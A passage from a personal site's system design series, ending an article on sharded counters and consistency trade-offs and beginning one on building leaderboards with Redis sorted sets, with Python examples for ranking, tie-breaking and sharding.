3. **Accurate Global**: Pre-aggregated total + live delta of events since last rollup. Near-real-time accuracy.

The key insight: **different counters have different accuracy requirements**. Netflix serves 75,000 counter requests/second globally by matching the consistency model to the use case.

### Aggregation Decision Matrix

| Factor         | Synchronous | Async Rollup      | Hybrid                        |
| -------------- | ----------- | ----------------- | ----------------------------- |
| Read latency   | O(N) shards | O(1) cache        | O(1) typical                  |
| Accuracy       | Exact       | Stale by T        | Configurable                  |
| Complexity     | Low         | Medium            | High                          |
| Infrastructure | DB only     | DB + cache + jobs | DB + cache + event log + jobs |
| Best for       | Financial   | Social metrics    | Mixed workloads               |

## Consistency Trade-offs

### Strong Consistency

Every read returns the result of the most recent write, globally.

**Implementation requirements:**

- Synchronous replication to all nodes before acknowledging writes
- Read quorum that overlaps with write quorum
- Global coordination (Paxos, Raft, or similar)

**Performance impact:**

- Write latency = slowest replica acknowledgment
- Availability decreases during network partitions
- Cannot use caching for reads

**Use cases**: Banking transactions, inventory management, rate limiting with strict enforcement.

### Eventual Consistency

Given no new updates, all replicas converge to the same value eventually.

**Implementation characteristics:**

- Asynchronous replication
- Reads may return stale values
- Writes acknowledged locally, propagated in background

**Performance impact:**

- Write latency = local persistence only
- High availability during partitions
- Caching dramatically improves read latency

**Use cases**: Like counts, view counts, analytics metrics, follower counts.

### Meta's TAO: Choosing Availability

TAO, Meta's distributed data store for the social graph, explicitly chose eventual consistency. Their rationale:

> "Losing consistency is a lesser evil than losing availability."

For social metrics, users can tolerate seeing a like count that's slightly stale. They cannot tolerate the app being unavailable.

**TAO's scale**: 10 billion requests/second, millions of writes/second, petabytes of data—all served with eventual consistency and aggressive caching.

### Consistency Decision Factors

| Requirement                    | Consistency Model | Example        |
| ------------------------------ | ----------------- | -------------- |
| Cannot lose a single increment | Strong            | Bank balance   |
| Cannot double-count            | Strong            | Inventory      |
| Users see approximate values   | Eventual          | Like count     |
| Analytics aggregations         | Eventual          | View count     |
| Rate limiting (strict)         | Strong            | API quotas     |
| Rate limiting (soft)           | Eventual          | Spam detection |

## Approximate Counting

When exact counts aren't required, probabilistic data structures provide dramatic space savings.

### HyperLogLog (HLL)

**Purpose**: Estimate cardinality (count of distinct elements) with bounded error.

**Key insight**: The maximum number of leading zeros in a hash tells you about the cardinality. If you've seen a hash with 10 leading zeros, you've probably seen ~2¹⁰ distinct elements.

**Performance characteristics:**

- Space: ~1.5KB for 2% standard error
- Cardinality range: Estimates 10⁹+ elements accurately
- Time: O(1) insert and query

**Critical property—mergeability**: HLL sketches from different nodes can be merged without losing accuracy. This makes HLL perfect for distributed counting.

```python
# Pseudocode: HLL merge across nodes
def global_unique_users() -> int:
    hll_sketches = [node.get_hll("users") for node in nodes]
    merged = reduce(hll_merge, hll_sketches)
    return merged.estimate()
```

**Use cases**:

- Unique visitor counting (Google Analytics)
- Distinct query counting (database query planners)
- Cardinality estimation in data pipelines

**Real-world example**: Facebook's HyperLogLog implementation processes cardinality calculations on massive datasets in 12 hours using less than 1MB of memory—a task that would require terabytes with exact counting.

### Count-Min Sketch (CMS)

**Purpose**: Estimate frequency of items in a stream with bounded overestimation.

**Key insight**: Hash each item to multiple positions in a 2D array; increment those positions. Query returns the minimum across hash positions (minimizing collision-induced overcount).

**Performance characteristics:**

- Space: w × d counters (typically thousands)
- Error: Overestimates by at most ε × N with probability 1 - δ
- Time: O(d) insert and query where d = number of hash functions

**Critical property—linearity**: Sketches can be summed across nodes. `CMS(stream_A) + CMS(stream_B) = CMS(stream_A ∪ stream_B)`.

**Use cases**:

- Heavy hitters detection (top-K frequent items)
- Network traffic anomaly detection
- Recommendation systems (item co-occurrence)

**Limitations**:

- Only overestimates, never underestimates
- No way to decrement (can't handle deletions without extensions)
- Requires tuning ε and δ for accuracy/space trade-off

### When to Use Probabilistic Structures

| Requirement             | Use Exact Counting | Use HLL | Use CMS |
| ----------------------- | ------------------ | ------- | ------- |
| Need exact value        | ✅                 | ❌      | ❌      |
| Counting distinct items | Expensive          | ✅      | ❌      |
| Counting item frequency | ✅                 | ❌      | ✅      |
| Must support decrements | ✅                 | ❌      | ❌      |
| Memory constrained      | ❌                 | ✅      | ✅      |
| Distributed merging     | Complex            | ✅      | ✅      |

## Real-World Implementations

### Google Cloud Firestore Distributed Counters

**Architecture**: Each counter is a parent document with a subcollection of shard documents.

```
counters/
  {counter_id}/
    shards/
      0: { count: 1234 }
      1: { count: 5678 }
      ...
      N-1: { count: 9012 }
```

**Write path**: Randomly select a shard, atomically increment.

**Read path**: Query entire `shards` subcollection, sum values.

**Performance tuning by scale**:

- <10 writes/sec: 1-5 shards
- 10-1,000 writes/sec: 5-100 shards
- > 1,000 writes/sec: 100-1,000+ shards

**Optimization**: Maintain a separate rollup document updated at slower cadence. Clients read from rollup, avoiding O(N) aggregation.

### Netflix Distributed Counter (2024)

**Four-layer architecture**:

1. **Client API**: AddCount, GetCount, ClearCount via Netflix Data Gateway
2. **Event Log**: All mutations stored as events in TimeSeries Abstraction (Cassandra backend)
3. **Rollup Pipeline**: Scheduled/streaming jobs aggregate events into intermediate counts
4. **Cache Layer**: EVCache (Memcached-based) stores aggregated values

**Three counting modes**:

| Mode                 | Consistency | Latency | Use Case          |
| -------------------- | ----------- | ------- | ----------------- |
| Best-Effort Regional | Weak        | <1ms    | Game events       |
| Eventual             | Medium      | <10ms   | Most metrics      |
| Accurate Global      | Strong      | <100ms  | Business-critical |

**Production metrics**:

- 75,000 requests/second globally
- Single-digit millisecond latency
- Processes billions of events daily

**Design decision**: Event log enables replay for recovery and supports multiple aggregation strategies from the same source data.

### Twitter/X Engagement Counters

**Infrastructure stack**:

- **Manhattan**: Multi-tenant distributed database for recent engagements
- **GraphJet**: Graph query engine (1M edges/second per server)
- **Kafka**: Streams billions of engagement events daily
- **Redis**: Caches aggregated counts

**Counter flow**:

1. User engagement → Kafka topic
2. Stream processors update sharded counters in Manhattan
3. Aggregated values written to Redis
4. Read path serves from Redis (sub-millisecond)

**Scaling strategy**: Shard count varies by expected engagement. Celebrity accounts get more shards allocated than regular users.

### Meta TAO

**Scale**: 10 billion requests/second, petabytes of data.

**Architecture**:

- Object sharding by `object_id` hash (shard ID embedded in object ID)
- MySQL as persistent store
- Multi-layer caching (distributed Memcached-like layer)
- Eventual consistency default

**Counter strategy**: Engagement metrics use eventual consistency with aggressive caching. Cache invalidation propagates through a pub/sub system.

**Key design decision**: Solved hot spots and thundering herd through consistent hashing and request coalescing at cache layer.

## Common Pitfalls

### Over-Sharding

**The mistake**: Creating 10,000 shards for a counter receiving 10 writes/second.

**Why it happens**: Teams extrapolate from peak traffic without considering steady-state, or copy configuration from high-traffic counters.

**The consequence**:

- Read latency increases 1,000x (must read all shards)
- Storage overhead multiplies
- Rollup jobs become expensive

**The fix**: Start with `shards = max(1, expected_writes_per_second)`. Monitor write contention and scale up only when retry rate exceeds 1%.

### Under-Sharding

**The mistake**: Single shard for a viral counter.

**Why it happens**: Underestimating traffic spikes, or not monitoring write latency.

**The consequence**:

- Write contention causes exponential backoff
- Transaction retries cascade into timeouts
- Users see failed increment operations

**The fix**: Monitor p99 write latency. When it exceeds SLA, add shards. Use auto-scaling if your database supports it (DynamoDB adaptive capacity).

### Aggregation Lag Unbounded Growth

**The mistake**: Rollup job can't keep up with write rate.

**Why it happens**: Rollup interval is fixed, but write rate increases. Job takes longer than the interval to complete.

**The consequence**:

- Cache staleness grows unboundedly
- Users see counts going backward (if rollup skips batches)
- Memory pressure from growing event backlog

**The fix**:

- Monitor lag between latest event and latest rollup
- Scale rollup workers horizontally
- Implement backpressure: drop or sample events when lag exceeds threshold

### Cache Failure Without Fallback

**The mistake**: Read path assumes cache always has data.

**Why it happens**: Cache is treated as storage rather than cache.

**The consequence**:

- Cache miss or failure → no count available
- System appears unavailable for reads

**The fix**: Always implement synchronous aggregation fallback. Monitor fallback rate—if it exceeds 0.1%, investigate cache health.

### Ignoring Shard-Level Metrics

**The mistake**: Monitoring only aggregate counter performance.

**Why it happens**: Total writes/second looks healthy; per-shard metrics aren't collected.

**The consequence**:

- Hot shards melt while averages look fine
- 1 of 100 shards at 99% CPU, others at 1%—average shows 2%

**The fix**: Collect and alert on per-shard metrics. Use p99 across shards, not mean.

## Choosing Your Approach

### Start with These Questions

1. **What's the write rate?** If <10/sec per counter, you may not need sharding at all.
2. **What consistency does the business require?** Financial = strong. Social = eventual.
3. **How stale can reads be?** Seconds? Minutes? Never?
4. **Do you need exact counts or estimates?** Estimates enable probabilistic structures.
5. **What's your read/write ratio?** Write-heavy → more shards. Read-heavy → invest in caching.

### Common Patterns

| Scenario                            | Recommended Approach                         |
| ----------------------------------- | -------------------------------------------- |
| Social media metrics (likes, views) | Random sharding + async rollup + Redis cache |
| API rate limiting (strict)          | Hash-based sharding + synchronous reads      |
| Unique visitor counting             | HyperLogLog per time window                  |
| Top-K popular items                 | Count-Min Sketch + heap                      |
| Financial transactions              | Single counter with strong consistency       |
| Analytics dashboards                | Time-based sharding + batch aggregation      |

### Scaling Checklist

1. **Baseline**: Single counter, monitor write latency
2. **First scale**: Add shards when p99 write latency exceeds SLA
3. **Cache**: Add rollup + cache when read latency exceeds SLA
4. **Regional**: Deploy regional counters when global latency is unacceptable
5. **Approximate**: Switch to probabilistic structures when exact counts aren't required and scale exceeds DB limits

## Conclusion

Sharded counters trade write throughput for read complexity. The design space spans shard selection (random, hash, time-based), aggregation timing (synchronous, rollup, hybrid), and consistency models (strong, eventual). Production systems like Netflix, Meta, and Twitter demonstrate that different counters within the same organization require different approaches—the art is matching consistency requirements to business needs.

For most social-scale applications: random sharding + asynchronous rollup + Redis cache handles millions of writes per second with sub-millisecond read latency and acceptable staleness. For financial applications: prefer fewer shards with synchronous aggregation and strong consistency. For cardinality estimation at massive scale: HyperLogLog achieves 2% error in 1.5KB.

The fundamental insight remains: **you're not scaling a counter—you're trading accuracy, latency, and consistency against each other.**

## Appendix

### Prerequisites

- Distributed systems fundamentals (replication, partitioning, consistency models)
- Basic understanding of hash functions and probabilistic data structures
- Familiarity with caching patterns (write-through, write-behind, cache-aside)

### Terminology

- **Hot key**: A key receiving disproportionately high traffic, causing contention
- **Write contention**: Multiple writers competing for the same resource, causing coordination overhead
- **Rollup**: Periodic aggregation of distributed values into a summary
- **Cardinality**: Count of distinct elements in a set
- **HyperLogLog (HLL)**: Probabilistic data structure for cardinality estimation
- **Count-Min Sketch (CMS)**: Probabilistic data structure for frequency estimation
- **Eventual consistency**: Guarantee that, absent new updates, all replicas converge to the same value

### Summary

- Single counters hit write contention limits (Firestore: ~1/sec, DynamoDB: ~1K/sec per partition)
- Sharding trades write throughput for read complexity—more shards = more writes but O(N) reads
- Aggregation strategy determines consistency: synchronous (exact, slow) vs. rollup (stale, fast)
- Probabilistic structures (HLL, CMS) enable sub-linear space when approximations suffice
- Production systems (Netflix, Meta, Twitter) use hybrid approaches matching consistency to use case
- Common pitfalls: over-sharding, under-sharding, unbounded aggregation lag, missing fallbacks

### References

- [Netflix's Distributed Counter Abstraction](https://netflixtechblog.com/netflixs-distributed-counter-abstraction-8d0c45eb66b2) - Netflix Tech Blog, 2024. Production architecture for 75K RPS counters.
- [TAO: Facebook's Distributed Data Store for the Social Graph](https://www.usenix.org/system/files/conference/atc13/atc13-bronson.pdf) - USENIX ATC 2013. Design rationale for 10B req/sec eventual consistency.
- [HyperLogLog in Practice: Algorithmic Engineering of a State of the Art Cardinality Estimation Algorithm](https://research.google.com/pubs/archive/40671.pdf) - Google Research. Theoretical foundations and practical improvements.
- [Distributed Counters in Firestore](https://firebase.google.com/docs/firestore/solutions/counters) - Google Cloud documentation. Reference implementation for sharded counters.
- [Implement Resource Counters with Amazon DynamoDB](https://aws.amazon.com/blogs/database/implement-resource-counters-with-amazon-dynamodb/) - AWS Database Blog. Atomic counter patterns.
- [Count-Min Sketch](https://redis.io/docs/latest/develop/data-types/probabilistic/count-min-sketch/) - Redis documentation. Frequency estimation data structure.
- [Manhattan: Twitter's Real-Time, Multi-Tenant Distributed Database](https://blog.x.com/engineering/en_us/a/2014/manhattan-our-real-time-multi-tenant-distributed-database-for-twitter-scale) - Twitter Engineering. Engagement counter infrastructure.

---

## Leaderboard Design

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-building-blocks/leaderboard-design
**Category:** System Design / System Design Building Blocks
**Description:** Building real-time ranking systems that scale from thousands to hundreds of millions of players. This article covers the data structures, partitioning strategies, tie-breaking approaches, and scaling techniques that power leaderboards at gaming platforms, fitness apps, and competitive systems.

# Leaderboard Design

Building real-time ranking systems that scale from thousands to hundreds of millions of players. This article covers the data structures, partitioning strategies, tie-breaking approaches, and scaling techniques that power leaderboards at gaming platforms, fitness apps, and competitive systems.

<figure>

![Leaderboard architecture: score updates write to Redis sorted sets with O(log N) complexity; rank queries served from sorted sets without database joins; WebSockets push real-time rank changes to subscribed players.](./leaderboard-architecture-score-updates-write-to-redis-sorted-sets-with-o-log-n-c.svg)

<figcaption>Leaderboard architecture: score updates write to Redis sorted sets with O(log N) complexity; rank queries served from sorted sets without database joins; WebSockets push real-time rank changes to subscribed players.</figcaption>
</figure>

## Abstract

Leaderboards rank entities by score in real-time. The fundamental challenge: traditional databases compute rankings via nested queries with O(N²) complexity—35 seconds for 50 million records even with indexes. Redis sorted sets (ZSET) solve this with O(log N) insertion and rank lookup using a skip list + hash table dual structure.

Core design decisions:

- **Ranking semantics**: Dense rank (1, 1, 2) vs. sparse rank (1, 1, 3) vs. unique rank (1, 2, 3)—determines how ties affect positions
- **Tie-breaking strategy**: Lexicographic (member string), temporal (first achiever wins), or composite score encoding
- **Partitioning**: Single sorted set (simple, up to ~100M entries) vs. score-range partitioning (hyperscale) vs. time-based partitioning (daily/weekly resets)
- **Approximate vs. exact**: Exact ranking for competitive tiers; approximate percentiles for casual players via probabilistic structures

At hyperscale (300M+ users), a single Redis sorted set cannot hold all entries. Score-range partitioning assigns users to shards by score brackets, enabling neighbor queries without cross-shard joins.

## Why Traditional Databases Fail at Scale

### The Nested Query Problem

Computing a player's rank requires counting how many players have higher scores:

```sql
SELECT COUNT(*) + 1 AS rank
FROM players
WHERE score > (SELECT score FROM players WHERE id = :player_id);
```

This nested subquery scans the table twice. With indexes, performance is O(N log N) best case—still proportional to total players.

**Benchmark reality:**

| Players | Indexed Query Time | Redis ZREVRANK |
| ------- | ------------------ | -------------- |
| 1M      | ~500ms             | <1ms           |
| 10M     | ~10 seconds        | <1ms           |
| 50M     | ~35 seconds        | <1ms           |

The gap exists because databases optimize for flexible queries, not sorted access. Every rank query re-computes ordering from scratch.

### Write Contention at Scale

Relational databases serialize writes to maintain ACID guarantees. A viral game with millions of concurrent score updates overwhelms transaction throughput.

**Bottlenecks:**

1. **Row-level locking**: Concurrent updates to the same row (or nearby rows in an index) cause lock contention
2. **Index maintenance**: B-tree rebalancing on every insert/update
3. **WAL amplification**: Every score change generates write-ahead log entries

Redis sorted sets avoid these: in-memory skip lists support concurrent reads, and single-threaded execution eliminates lock overhead while achieving 100K+ operations/second per instance.

## Redis Sorted Sets: The Foundation

### Internal Architecture

Redis sorted sets use a **dual-ported data structure**:

1. **Skip list**: Maintains score ordering. O(log N) insertion, deletion, and range queries.
2. **Hash table**: Maps member → score for O(1) score lookups.

This combination enables:

- O(log N) `ZADD` (add/update member with score)
- O(log N) `ZRANK` / `ZREVRANK` (get member's position)
- O(log N + M) `ZRANGE` / `ZREVRANGE` (retrieve M members in rank range)
- O(1) `ZSCORE` (get member's score)

**Why skip lists?** B-trees require more memory per node and have higher insertion overhead. Skip lists achieve similar O(log N) complexity with simpler implementation and better cache locality for in-memory workloads.

### Core Commands for Leaderboards

| Command                                 | Purpose                    | Time Complexity |
| --------------------------------------- | -------------------------- | --------------- |
| `ZADD key score member`                 | Add/update score           | O(log N)        |
| `ZINCRBY key increment member`          | Atomic score increment     | O(log N)        |
| `ZREVRANK key member`                   | Get rank (high-to-low)     | O(log N)        |
| `ZRANK key member`                      | Get rank (low-to-high)     | O(log N)        |
| `ZREVRANGE key start stop [WITHSCORES]` | Get top players            | O(log N + M)    |
| `ZRANGEBYSCORE key min max`             | Get players in score range | O(log N + M)    |
| `ZSCORE key member`                     | Get player's score         | O(1)            |
| `ZCARD key`                             | Total player count         | O(1)            |

**Example: Basic leaderboard operations**

```python collapse={1-3}
import redis

r = redis.Redis()

# Update scores (creates key if doesn't exist)
r.zadd("game:leaderboard", {"player_1": 1500, "player_2": 1200, "player_3": 1500})

# Increment score atomically
r.zincrby("game:leaderboard", 100, "player_2")  # Now 1300

# Get top 10 with scores (0-indexed, descending)
top_10 = r.zrevrange("game:leaderboard", 0, 9, withscores=True)
# [('player_1', 1500.0), ('player_3', 1500.0), ('player_2', 1300.0)]

# Get player's rank (0-indexed, so add 1 for display)
rank = r.zrevrank("game:leaderboard", "player_2")  # Returns 2 (3rd place)

# Get nearby players (5 above and below)
player_rank = r.zrevrank("game:leaderboard", "player_2")
start = max(0, player_rank - 5)
nearby = r.zrevrange("game:leaderboard", start, player_rank + 5, withscores=True)
```

### Tie Handling: Lexicographic Ordering

When multiple members have identical scores, Redis orders them **lexicographically by member string**:

```bash
> ZADD leaderboard 100 "alice" 100 "bob" 100 "charlie"
> ZREVRANGE leaderboard 0 -1 WITHSCORES
1) "charlie"
2) "100"
3) "bob"
4) "100"
5) "alice"
6) "100"
```

Lexicographic order: alice < bob < charlie. In reverse range, charlie appears first.

**Implication**: Without explicit tie-breaking, rank order for tied scores depends on member string comparison. This is rarely the desired behavior for competitive leaderboards.

## Ranking Semantics

### Dense vs. Sparse vs. Unique Ranking

Three ranking models exist, analogous to SQL window functions:

| Model           | Tied Scores Example | SQL Equivalent |
| --------------- | ------------------- | -------------- |
| **Dense Rank**  | 1, 1, 2, 3          | `DENSE_RANK()` |
| **Sparse Rank** | 1, 1, 3, 4          | `RANK()`       |
| **Unique Rank** | 1, 2, 3, 4          | `ROW_NUMBER()` |

**Redis sorted sets provide unique ranking by default**—each member has a distinct position based on score + lexicographic order.

#### When to Use Each

**Dense rank** (1, 1, 2):

- All players with the same score share a rank
- The next distinct score gets the next consecutive rank
- Use case: Awards where "top 3" means the 3 highest distinct scores

**Sparse rank** (1, 1, 3):

- Tied players share a rank, but subsequent ranks reflect total players above
- Use case: Tournament standings where position matters for prize distribution

**Unique rank** (1, 2, 3):

- Every player has a distinct position
- Tie-breaking determines order among equal scores
- Use case: Real-time leaderboards displaying a single ordered list

### Implementing Dense Rank

Dense ranking requires counting distinct scores, not positions:

```python collapse={1-3}
import redis

r = redis.Redis()

def get_dense_rank(key: str, member: str) -> int:
    """Count distinct scores higher than this member's score."""
    score = r.zscore(key, member)
    if score is None:
        return None

    # Count members with strictly higher scores
    higher_count = r.zcount(key, f"({score}", "+inf")

    # Count distinct scores above this one using a Lua script for atomicity
    lua_script = """
    local scores = redis.call('ZREVRANGEBYSCORE', KEYS[1], '+inf', ARGV[1], 'WITHSCORES')
    local distinct = {}
    for i = 2, #scores, 2 do
        distinct[scores[i]] = true
    end
    local count = 0
    for _ in pairs(distinct) do count = count + 1 end
    return count
    """
    distinct_higher = r.eval(lua_script, 1, key, f"({score}")
    return distinct_higher + 1
```

**Trade-off**: Dense rank queries are more expensive than unique rank (O(N) worst case for counting distinct scores vs. O(log N) for `ZREVRANK`).

## Tie-Breaking Strategies

### Strategy 1: Composite Score Encoding

Encode primary score and tie-breaker into a single numeric value.

**Timestamp-based (first achiever wins):**

```python
import time

def encode_score(score: int, timestamp: float = None) -> float:
    """
    Encode score + timestamp into a single float.
    Higher score wins. For same score, earlier timestamp wins.

    Format: score.reversed_timestamp
    - Integer part: primary score
    - Decimal part: (MAX_TIMESTAMP - timestamp) / MAX_TIMESTAMP
    """
    if timestamp is None:
        timestamp = time.time()

    MAX_TIMESTAMP = 10**10  # ~300 years from Unix epoch
    reversed_ts = MAX_TIMESTAMP - timestamp
    normalized = reversed_ts / MAX_TIMESTAMP

    return score + normalized
```

**Example:**

- Player A: score 100, timestamp 1000 → `100.99999999900000`
- Player B: score 100, timestamp 2000 → `100.99999999800000`
- Player A ranks higher (achieved score first)

**Bit-shifting for integer precision:**

```python
def encode_score_int64(score: int, timestamp: int) -> int:
    """
    Pack score and reversed timestamp into int64.
    High 32 bits: score
    Low 32 bits: MAX_INT32 - timestamp
    """
    MAX_INT32 = 2**31 - 1
    reversed_ts = MAX_INT32 - (timestamp % MAX_INT32)
    return (score << 32) | reversed_ts

def decode_score_int64(encoded: int) -> tuple[int, int]:
    MAX_INT32 = 2**31 - 1
    score = encoded >> 32
    reversed_ts = encoded & 0xFFFFFFFF
    timestamp = MAX_INT32 - reversed_ts
    return score, timestamp
```

**Advantage**: O(1) encoding/decoding, works with standard sorted set operations.
**Limitation**: Precision loss for very large scores or timestamps; 64-bit integers have finite precision.

### Strategy 2: Secondary Hash Lookup

Store timestamps separately; resolve ties on read:

```python collapse={1-4}
import redis
import time

r = redis.Redis()

def update_score(leaderboard: str, player: str, score: int) -> None:
    """Update score and timestamp atomically."""
    pipe = r.pipeline()
    pipe.zadd(leaderboard, {player: score})
    pipe.hset(f"{leaderboard}:timestamps", player, time.time())
    pipe.execute()

def get_top_with_tiebreak(leaderboard: str, count: int) -> list:
    """Get top N, breaking ties by timestamp (earlier wins)."""
    # Get more than needed to handle ties at boundary
    results = r.zrevrange(leaderboard, 0, count * 2, withscores=True)
    timestamps = r.hmget(f"{leaderboard}:timestamps", [p for p, _ in results])

    # Combine and sort
    combined = [(player, score, float(ts or 0)) for (player, score), ts in zip(results, timestamps)]
    combined.sort(key=lambda x: (-x[1], x[2]))  # Descending score, ascending timestamp

    return [(player, score) for player, score, _ in combined[:count]]
```

**Advantage**: Preserves full timestamp precision; flexible tie-breaking logic.
**Limitation**: Additional Redis round-trip for timestamps; potential race conditions without Lua scripts.

### Strategy 3: Member String Encoding

Embed tie-breaker in the member name itself:

```python
def make_member(player_id: str, timestamp: int) -> str:
    """Create member string that sorts correctly on ties."""
    # Pad timestamp to fixed width for correct lexicographic ordering
    MAX_TS = 10**13
    reversed_ts = MAX_TS - timestamp
    return f"{reversed_ts:013d}:{player_id}"

def parse_member(member: str) -> str:
    """Extract player_id from member string."""
    return member.split(":", 1)[1]
```

With all members having the same score, `ZRANGEBYLEX` provides efficient range queries sorted by tie-breaker.

**Limitation**: Requires parsing member strings on every read; complicates player lookup by ID.

### Decision Matrix: Tie-Breaking

| Strategy        | Complexity | Precision | Lookup by ID | Best For                 |
| --------------- | ---------- | --------- | ------------ | ------------------------ |
| Composite score | O(1)       | Limited   | O(log N)     | High-frequency updates   |
| Secondary hash  | O(2)       | Full      | O(1)         | Complex tie-breakers     |
| Member encoding | O(1)       | Full      | O(N) scan    | All-same-score scenarios |

## Time-Based Leaderboards

### Partitioning by Time Window

Most games need daily, weekly, and all-time leaderboards. Each requires a separate sorted set:

```python collapse={1-5}
import redis
from datetime import datetime, timezone

r = redis.Redis()

def get_time_keys(base_key: str) -> tuple[str, str, str]:
    """Generate keys for current time windows."""
    now = datetime.now(timezone.utc)
    daily = now.strftime("%Y%m%d")
    # ISO week number
    weekly = f"{now.year}W{now.isocalendar()[1]:02d}"

    return (
        f"{base_key}:daily:{daily}",
        f"{base_key}:weekly:{weekly}",
        f"{base_key}:alltime"
    )

def update_all_leaderboards(player: str, score_delta: int) -> None:
    """Update all time-windowed leaderboards atomically."""
    daily, weekly, alltime = get_time_keys("game:leaderboard")

    pipe = r.pipeline()
    pipe.zincrby(daily, score_delta, player)
    pipe.zincrby(weekly, score_delta, player)
    pipe.zincrby(alltime, score_delta, player)
    pipe.execute()
```

### Automatic Expiration

Set TTL on time-windowed leaderboards to prevent unbounded growth:

```python
def update_with_ttl(leaderboard: str, player: str, score: int, ttl_seconds: int) -> None:
    """Update score and set/refresh TTL."""
    pipe = r.pipeline()
    pipe.zadd(leaderboard, {player: score})
    pipe.expire(leaderboard, ttl_seconds)
    pipe.execute()

# Daily leaderboards: 48 hours (buffer for timezone edge cases)
update_with_ttl("game:leaderboard:daily:20240115", "player_1", 100, 48 * 3600)

# Weekly leaderboards: 14 days
update_with_ttl("game:leaderboard:weekly:2024W03", "player_1", 500, 14 * 86400)
```

### Historical Leaderboard Archival

After a time window closes, snapshot the final standings:

```python collapse={1-4}
import json

r = redis.Redis()

def archive_leaderboard(leaderboard_key: str, archive_key: str) -> None:
    """Archive final standings to a Redis Stream or database."""
    # Get top 1000 with scores
    top_players = r.zrevrange(leaderboard_key, 0, 999, withscores=True)

    # Store as JSON in a stream for cheap historical queries
    archive_data = json.dumps([{"player": p, "score": s, "rank": i+1}
                               for i, (p, s) in enumerate(top_players)])
    r.xadd(archive_key, {"data": archive_data})

    # Optionally persist to PostgreSQL for complex queries
    # db.execute("INSERT INTO leaderboard_history ...")
```

## Scaling Beyond Single Instance

### When Single Redis Isn't Enough

A single Redis sorted set handles approximately:

- **100M members**: ~8GB memory (member strings + scores + skip list overhead)
- **100K operations/second**: Write throughput ceiling (single-threaded execution)

Beyond this, partitioning is required.

### Score-Range Partitioning

Partition players by score brackets:

```
Shard 0: scores 0 - 999
Shard 1: scores 1000 - 9999
Shard 2: scores 10000 - 99999
Shard 3: scores 100000+
```

**Advantages:**

- Neighbor queries (players near your rank) stay within one shard
- Top-N queries only read the highest-score shard
- Hot shards (high scores) can be scaled independently

**Implementation:**

```python collapse={1-5}
import redis
from typing import Optional

# Shard configuration
SCORE_RANGES = [
    (0, 999, "shard_0"),
    (1000, 9999, "shard_1"),
    (10000, 99999, "shard_2"),
    (100000, float("inf"), "shard_3"),
]

def get_shard_for_score(score: int) -> str:
    for min_score, max_score, shard in SCORE_RANGES:
        if min_score <= score <= max_score:
            return shard
    return SCORE_RANGES[-1][2]

def update_score_sharded(player: str, old_score: Optional[int], new_score: int) -> None:
    """Move player between shards if score bracket changed."""
    new_shard = get_shard_for_score(new_score)

    if old_score is not None:
        old_shard = get_shard_for_score(old_score)
        if old_shard != new_shard:
            # Atomic move using Lua script or pipeline
            pipe = r.pipeline()
            pipe.zrem(f"leaderboard:{old_shard}", player)
            pipe.zadd(f"leaderboard:{new_shard}", {player: new_score})
            pipe.execute()
            return

    r.zadd(f"leaderboard:{new_shard}", {player: new_score})

def get_global_rank(player: str, score: int) -> int:
    """Calculate global rank across shards."""
    player_shard = get_shard_for_score(score)

    # Count all players in higher-score shards
    higher_count = 0
    for min_score, max_score, shard in SCORE_RANGES:
        if min_score > score:
            higher_count += r.zcard(f"leaderboard:{shard}")

    # Add rank within player's shard
    rank_in_shard = r.zrevrank(f"leaderboard:{player_shard}", player)

    return higher_count + rank_in_shard + 1
```

### Game-Based or Region-Based Partitioning

For multi-game platforms or global deployments:

```
leaderboard:fortnite:na-east
leaderboard:fortnite:eu-west
leaderboard:valorant:na-east
leaderboard:valorant:eu-west
```

Each partition is a self-contained leaderboard. Cross-region global rankings aggregate via periodic rollup jobs.

### Redis Cluster Limitations

Redis Cluster partitions by key hash. A single sorted set (`leaderboard:global`) cannot span multiple nodes—all members reside on one node.

**Workarounds:**

1. **Application-level sharding**: Multiple sorted sets with routing logic (as shown above)
2. **Proxy layer**: mcrouter or Twemproxy for client-side consistent hashing
3. **Hash tags**: `{game:1}:leaderboard` forces related keys to the same slot

## Approximate Ranking at Hyperscale

For 300M+ users, exact ranking for every player is unnecessary and expensive. Players in the bottom 90% rarely check their exact rank—percentile is sufficient.

### Percentile Buckets

Track only top N precisely; estimate percentile for others:

```python collapse={1-4}
import redis

r = redis.Redis()

TOP_N = 100000  # Track top 100K precisely

def update_score_hybrid(player: str, score: int) -> None:
    """Maintain exact rankings for top players only."""
    # Always add to main leaderboard for percentile estimation
    r.zincrby("leaderboard:scores", score, player)

    # Check if player qualifies for precise tracking
    current_threshold = r.zrevrange("leaderboard:top", TOP_N - 1, TOP_N - 1, withscores=True)
    threshold_score = current_threshold[0][1] if current_threshold else 0

    if score >= threshold_score:
        r.zadd("leaderboard:top", {player: score})
        # Trim to top N
        r.zremrangebyrank("leaderboard:top", 0, -TOP_N - 1)

def get_rank_or_percentile(player: str) -> dict:
    """Return exact rank if in top N, otherwise percentile."""
    # Check top leaderboard first
    rank = r.zrevrank("leaderboard:top", player)
    if rank is not None:
        return {"rank": rank + 1, "percentile": None}

    # Calculate percentile
    score = r.zscore("leaderboard:scores", player)
    if score is None:
        return {"rank": None, "percentile": None}

    total = r.zcard("leaderboard:scores")
    higher_count = r.zcount("leaderboard:scores", f"({score}", "+inf")
    percentile = (1 - higher_count / total) * 100

    return {"rank": None, "percentile": round(percentile, 1)}
```

### HyperLogLog for Player Count

When total player count itself is expensive to maintain exactly:

```python
def estimate_total_players(game_id: str) -> int:
    """Estimate unique players using HyperLogLog (~1.5KB memory)."""
    return r.pfcount(f"game:{game_id}:players:hll")

def register_player(game_id: str, player_id: str) -> None:
    """Track player in HLL with 2% standard error."""
    r.pfadd(f"game:{game_id}:players:hll", player_id)
```

**Trade-off**: 2% error for ~0.01% of exact counting memory.

## Real-Time Updates

### Push Model: WebSockets

For live-updating leaderboards, push rank changes to subscribed clients:

```python collapse={1-5}
import asyncio
import redis.asyncio as redis

r = redis.Redis()

async def subscribe_rank_changes(player: str, websocket):
    """Push rank updates to connected player."""
    pubsub = r.pubsub()
    await pubsub.subscribe(f"leaderboard:updates:{player}")

    async for message in pubsub.listen():
        if message["type"] == "message":
            await websocket.send(message["data"])

async def notify_rank_change(player: str, old_rank: int, new_rank: int) -> None:
    """Publish rank change event."""
    await r.publish(f"leaderboard:updates:{player}",
                    f'{{"old_rank": {old_rank}, "new_rank": {new_rank}}}')
```

### Batched Updates

For high-frequency score changes, batch updates to reduce Redis round-trips:

```python collapse={1-5}
import asyncio
from collections import defaultdict

pending_updates = defaultdict(int)
